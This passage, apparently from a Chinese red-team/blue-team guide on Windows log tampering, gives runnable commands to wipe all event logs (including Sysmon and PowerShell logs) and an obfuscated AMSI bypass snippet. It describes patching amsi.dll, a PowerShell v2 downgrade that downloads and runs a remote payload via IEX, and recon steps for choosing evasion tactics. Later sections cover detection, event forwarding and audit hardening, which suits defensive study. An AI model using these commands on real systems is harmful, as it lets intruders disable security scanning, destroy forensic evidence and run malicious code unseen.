   → 重新计算 File Header CRC32

6. 恢复 EventLog 服务

⛔ 如果不修复校验和 → Event Viewer 可能报错 / 取证工具会检测到篡改

5.3 日志清除（非精准方式）

:: wevtutil 清除特定日志（产生 EventID 1102/104）
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Windows PowerShell"

:: 清除所有日志
for /f "tokens=*" %i in ('wevtutil el') do wevtutil cl "%i" 2>nul

:: PowerShell 清除
Get-WinEvent -ListLog * | ForEach-Object { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) }

:: ⛔ 清除操作本身会产生:
:: Security 日志: EventID 1102
:: System 日志: EventID 104
:: 这两个事件在 SIEM 中通常是最高优先级告警！

---

六、PowerShell 日志绕过

6.1 AMSI (Antimalware Scan Interface) Bypass

AMSI 工作流程：
1. PowerShell 引擎接收脚本
2. 调用 AmsiScanBuffer() 将内容发送给注册的安全提供商（如 Defender）
3. 安全提供商返回扫描结果
4. 如果恶意 → 阻止执行 + 记录日志（EventID 53504）
5. 如果安全 → 允许执行

绕过目标：阻止 AmsiScanBuffer() 正常工作

方法 A: Patch amsi.dll

原理：Patch AmsiScanBuffer 或 AmsiOpenSession 返回错误码

AmsiScanBuffer patch（最常见）：
1. 获取 amsi.dll 中 AmsiScanBuffer 的地址
2. 修改内存保护 → RWX
3. 在函数开头写入: mov eax, 0x80070057; ret (E_INVALIDARG)
4. 所有后续 AMSI 扫描返回 "参数无效" → 不扫描

AmsiOpenSession patch（替代方案）:
1. Patch AmsiOpenSession 立即返回失败
2. AMSI 会话无法建立 → 后续扫描全部跳过

⛔ 注意：Patch 本身可能被 AMSI 检测（鸡生蛋问题）
解决：对 Patch 代码进行混淆/编码/拆分

方法 B: amsiInitFailed 强制失败

# 经典一行 bypass（分析用途，原始形式已被签名检测）
# 设置 AmsiUtils 类的 amsiInitFailed 字段为 True
# → PowerShell 认为 AMSI 初始化失败 → 跳过所有扫描

# 混淆变体（绕过字符串检测）:
$a=[Ref].Assembly.GetTypes()
$b=$a | Where-Object { $_.Name -like '*siUtils' }
$c=$b.GetFields('NonPublic,Static') | Where-Object { $_.Name -like '*InitFailed' }
$c.SetValue($null,$true)

方法 C: 反射 DLL unhook

原理：重新加载干净的 amsi.dll 覆盖被 hook 的版本
1. 从磁盘读取原始 amsi.dll
2. 映射到内存
3. 将 .text 段复制到当前进程中 amsi.dll 的对应位置
→ 恢复原始代码 → 但之前的 patch 也会被恢复

用途：配合自定义 AMSI provider → 让 provider 始终返回 "安全"

6.2 PowerShell 降级攻击

:: PowerShell v2 不支持 ScriptBlock Logging / AMSI
:: 如果系统安装了 .NET Framework 2.0/3.5 → 可以使用 PS v2

powershell -version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://x.x/payload.ps1')"

:: 检查 PS v2 是否可用
reg query "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
:: 如果 .NET 3.5 已安装 → v2 可用

:: ⛔ 检测方法（蓝队）：
:: EventID 400: EngineVersion=2.0 → 降级攻击
:: 对策: 卸载 .NET Framework 2.0/3.5（如果不需要）
:: 或监控 PowerShell v2 引擎启动

6.3 .NET 直接调用（绕过 PowerShell 引擎）

原理：PowerShell 日志（4103/4104）由 PS 引擎产生
不使用 PowerShell → 不产生 PS 日志

方法：
├─ C# 编译执行 → 直接调用 .NET Framework API
│   通过 System.Management.Automation 命名空间调用 PS 功能
│   但不触发 ScriptBlock Logging
│
├─ Runspace 直接创建
│   用 C# 创建 PowerShell Runspace → 执行命令
│   不走 powershell.exe → 不触发 PS 进程日志
│
├─ Add-Type 内联 C#
│   在 PS 中编译 C# 代码执行 → C# 部分不受 ScriptBlock Logging
│
└─ 使用其他 .NET 语言（F#, VB.NET）
    不经过 PowerShell 引擎 → 无 PS 日志

6.4 Constrained Language Mode 绕过

# 查看当前语言模式
$ExecutionContext.SessionState.LanguageMode

# FullLanguage → 无限制
# ConstrainedLanguage → 受限（AppLocker/WDAC 开启时）
# RestrictedLanguage → 高度受限
# NoLanguage → 禁用脚本

# 绕过 ConstrainedLanguage:
# 方法 1: 使用 PowerShell v2（无 CLM）
# 方法 2: 使用 InstallUtil/MSBuild 等 LOLBAS 执行 .NET 代码
# 方法 3: 通过自定义 Runspace 创建 FullLanguage 会话
# 方法 4: 利用 __PSLockdownPolicy 环境变量（不可靠）

---

七、检测日志篡改（蓝队防御）

7.1 日志完整性验证

防御策略：
├─ 实时转发到 SIEM → 即使本地日志被删除/修改，SIEM 有副本
├─ 日志签名 → Windows Event Forwarding (WEF) + 哈希校验
├─ 监控关键事件：
│   ├─ EventID 1102 / 104 → 日志清除
│   ├─ EventID 7036 (EventLog service stopped) → 服务停止
│   ├─ Sysmon EID 12/13 → MiniNT 键创建
│   ├─ auditpol 变更 → 审计策略修改
│   └─ .evtx 文件的 MACE 时间戳异常 → 文件被修改
├─ 日志缺口检测：
│   ├─ Record ID 连续性检查
│   ├─ 时间段事件密度分析
│   └─ 心跳事件（自定义定时写入 → 缺失 = 日志中断）
└─ Canary 日志：
    定期写入特征事件 → 被删除 = 有人清理日志

7.2 Windows Event Forwarding (WEF) 配置

:: 配置日志转发到中心收集器（最佳防御 — 攻击者无法修改远程副本）
:: Collector 端：
winrm quickconfig
wecutil qc

:: Subscription 示例（收集关键安全事件）：
:: 创建 subscription XML 包含:
:: - Security: 4624,4625,4648,4672,4688,4720,4728,1102
:: - System: 7045,7036
:: - Sysmon: 1,3,8,10,11
:: - PowerShell: 4104

:: ⛔ WEF 是对抗日志清除的最有效手段
:: 攻击者即使获得本地 SYSTEM 权限也无法修改已转发的日志

---

八、审计策略配置参考

蓝队推荐的审计策略

:: 启用完整审计（检测能力最大化）
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Logoff" /success:enable
auditpol /set /subcategory:"Account Lockout" /failure:enable
auditpol /set /subcategory:"Security Group Management" /success:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Security System Extension" /success:enable
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable
auditpol /set /subcategory:"Detailed File Share" /success:enable /failure:enable

:: 启用进程创建命令行记录（4688 包含命令行参数）
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

:: 启用 PowerShell 脚本块日志
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f

:: 启用 PowerShell 模块日志
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging /t REG_DWORD /d 1 /f

红队: 检查审计策略（决定绕过策略）

:: 查看当前审计策略
auditpol /get /category:*

:: 查看 PowerShell 日志配置
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging"

:: 查看 Sysmon 是否安装
sc query sysmon
sc query sysmon64
fltmc | findstr sysmon

:: 查看 Sysmon 配置（如果可读）
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters"

:: ⛔ 根据环境选择绕过策略：
:: 无 Sysmon → 只需处理 Security/PowerShell 日志
:: 有 Sysmon → 需额外处理 Sysmon 日志或绕过 Sysmon
:: 有 EDR → 需考虑用户态 hook + 内核回调
:: 有 SIEM → 本地清除无效，必须从源头阻止日志产生